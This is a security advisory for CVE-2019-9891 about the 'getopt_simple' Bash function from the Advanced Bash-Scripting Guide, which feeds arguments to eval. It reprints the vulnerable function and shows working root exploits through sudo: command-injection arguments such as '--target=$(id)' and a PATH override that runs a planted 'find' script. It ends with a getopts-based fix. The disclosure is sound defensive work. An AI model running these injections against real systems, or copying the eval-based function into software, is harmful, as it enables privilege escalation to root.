Code Execution via Insecure Shell Function getopt_simple

RedTeam Pentesting discovered that the shell function “getopt_simple”, as presented in the “Advanced Bash-Scripting Guide”, allows execution of attacker-controlled commands.

Details

• Product: Advanced Bash-Scripting Guide
• Affected Versions: all
• Fixed Versions: -
• Vulnerability Type: Code Execution
• Security Risk: medium
• Vendor URL: https://www.tldp.org/LDP/abs/html/
• Vendor Status: notified
• Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-007
• Advisory Status: published
• CVE: CVE-2019-9891
• CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9891

Introduction

The document “Advanced Bash-Scripting Guide” (https://www.tldp.org/LDP/abs/html/) is a tutorial for writing shell scripts for Bash. It contains many example scripts together with in-depth explanations about how shell scripting works.

More Details

During a penetration test, RedTeam Pentesting was able to execute commands as an unprivileged user (www-data) on a server. Among others, it was discovered that this user was permitted to run the shell script “cleanup.sh” as root via “sudo”:

$ sudo -l
Matching Defaults entries for user on srv:
    env_reset, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on srv:
    (root) NOPASSWD: /usr/local/sbin/cleanup.sh

The script “cleanup.sh” starts with the following code:

#!/bin/bash

getopt_simple()
{
    until [ -z "$1" ]
    do
      if [ ${1:0:2} = '--' ]
      then
          tmp=${1:2}               # Strip off leading '--' . . .
          parameter=${tmp%%=*}     # Extract name.
          value=${tmp##*=}         # Extract value.
          eval $parameter=$value
      fi
      shift
    done
}

target=/tmp

### Pass all options to getopt_simple().
getopt_simple $*

### list files to clean
echo "listing files in $target"
find "$target" -mtime 1

The function “getopt_simple” is used to set variables based on command-line flags which are passed to the script. Calling the script with the argument “–target=/tmp” sets the variable “$target” to the value “/tmp”. The variable’s value is then used in a call to “find”. The source code of the “getopt_simple” function has been taken from the “Advanced Bash-Scripting Guide” (https://www.tldp.org/LDP/abs/html/string-manipulation.html#GETOPTSIMPLE). It was also published as a book. RedTeam Pentesting identified two different ways to exploit this function in order to run attacker-controlled commands as root.

First, a flag can be specified in which either the name or the value contain a shell command. The call to “eval” will simply execute this command.

$ sudo /usr/local/sbin/cleanup.sh '--redteam=foo;id'
uid=0(root) gid=0(root) groups=0(root)
listing files in /tmp

$ sudo /usr/local/sbin/cleanup.sh '--target=$(id)'
listing files in uid=0(root) gid=0(root) groups=0(root)
find: 'uid=0(root) gid=0(root) groups=0(root)': No such file or directory

$ sudo /usr/local/sbin/cleanup.sh '--target=$(ls${IFS}/)'
listing files in bin
boot
dev
etc
[...]

Instead of injecting shell commands, the script can also be exploited by overwriting the “$PATH” variable:

$ mkdir /tmp/redteam

$ cat <<EOF > /tmp/redteam/find
#!/bin/sh
echo "executed as root:"
/usr/bin/id
EOF

$ chmod +x /tmp/redteam/find

$ sudo /usr/local/sbin/cleanup.sh --PATH=/tmp/redteam
listing files in /tmp
executed as root:
uid=0(root) gid=0(root) groups=0(root)

Workaround

No workaround available.

Fix

Replace the function “getopt_simple” with the built-in function “getopts” or the program “getopt” from the util-linux package. Examples on how to do so are included in the same tutorial (https://www.tldp.org/LDP/abs/html/internal.html#EX33, https://www.tldp.org/LDP/abs/html/extmisc.html#EX33A).

Security Risk

If a script with attacker-controlled arguments uses the “getopt_simple” function, arbitrary commands may be invoked by the attackers. This is particularly interesting if a privilege boundary is crossed, for example in the context of “sudo”. Overall, this vulnerability is rated as a medium risk.

Timeline

• 2019-02-18 Vulnerability identified
• 2019-03-20 Customer approved disclosure to vendor
• 2019-03-20 Author notified
• 2019-03-20 Author responded, document is not updated/maintained any more
• 2019-03-20 CVE ID requested
• 2019-03-21 CVE ID assigned
• 2019-03-26 Advisory released

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